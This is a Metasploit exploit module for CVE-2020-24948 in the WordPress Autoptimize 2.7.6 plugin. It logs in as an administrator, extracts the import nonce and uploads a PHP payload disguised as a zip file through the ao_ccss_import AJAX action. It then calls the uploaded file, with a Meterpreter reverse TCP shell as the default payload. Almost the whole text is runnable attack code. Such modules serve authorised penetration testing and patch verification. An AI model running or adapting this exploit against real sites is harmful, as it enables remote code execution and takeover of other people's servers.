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WordPress Plugin Autoptimize 2.7.6 - Authenticated Arbitrary File Upload (Metasploit)

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
      super(update_info(
        info,
        'Name'           => 'Wordpress Autoptimize Authenticated File Upload',
        'Description'    => %q{
          The ao_ccss_import AJAX call does not ensure that the file provided is a legitimate Zip file,
          allowing high privilege users to upload arbitrary files, such as PHP, leading to RCE.
        },
        'Author'         =>
          [
            'Khanh Nguyen - Suncsr Team', # Vulnerability discovery
            'Hoa Nguyen - Suncsr Team',    # Metasploit module
            'Thien Ngo - Suncsr Team' # Metasploit module
          ],
        'License'        => MSF_LICENSE,
        'References'     =>
          [
            ['CVE', '2020-24948'],
            ['EDB', '48770'],
            ['WPVDB', '10372']
          ],
        'Privileged'     => false,
        'Platform'       => ['php'],
        'Arch'           => ARCH_PHP,
        'DefaultOptions' => {
            'PAYLOAD' => 'php/meterpreter/reverse_tcp'
          },
        'Targets'        => [['WP Autoptimize 2.7.6', {}]],
        'DefaultTarget'  => 0,
        'DisclosureDate' => '2020-08-24'))

      register_options(
        [
          OptString.new('USERNAME', [true, 'The WordPress password to authenticate with', nil]),
          OptString.new('PASSWORD', [true, 'The WordPress username to authenticate with', nil])
        ])
    end

  def check
      check_plugin_version_from_readme('autoptimize','2.7.7')
  end

  def ao_ccss_import_nonce(cookie)
      res = send_request_cgi({
          'uri' => normalize_uri(wordpress_url_backend,'options-general.php'),
          'cookie' => cookie,
          'vars_get' => {
              'page' => 'ao_critcss'
            }
      },5)

      if res.code == 200
          print_good("Found ao_ccss_import_nonce_code Value!")
        else
         fail_with(Failure::Unknown,'Server did not response in an expected way')
        end

      ao_ccss_import_nonce_code = res.body.match(/'ao_ccss_import_nonce', '(\w+)/).captures[0]
      return ao_ccss_import_nonce_code
  end

  def exploit
      username = datastore['USERNAME']
      password = datastore['PASSWORD']
      print_status("Trying to login as #{username}")
      cookie = wordpress_login(datastore['USERNAME'],datastore['PASSWORD'])
      if cookie.nil?
        print_error("Unable to login as #{username}")
      end

      vars = ao_ccss_import_nonce(cookie)
      print_status("Trying to upload payload")
      filename = "#{rand_text_alpha_lower(8)}.php"

      data = Rex::MIME::Message.new
      data.add_part('ao_ccss_import', nil, nil, 'form-data; name="action"')
      data.add_part(vars, nil, nil, 'form-data; name="ao_ccss_import_nonce"')
      data.add_part(payload.encoded, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
      post_data = data.to_s
      print_status("Uploading payload")

      res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(wordpress_url_backend,'admin-ajax.php'),
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => post_data,
          'cookie' => cookie
      })

      if res.code == 200
         register_files_for_cleanup(filename)
      else
        fail_with(Failure::Unknown,'Server did not response in an expected way')
      end

    print_status("Calling uploaded file #{filename}")
    send_request_cgi({'uri' => normalize_uri(wordpress_url_wp_content, 'uploads','ao_ccss',filename)},5)
 end
end
            
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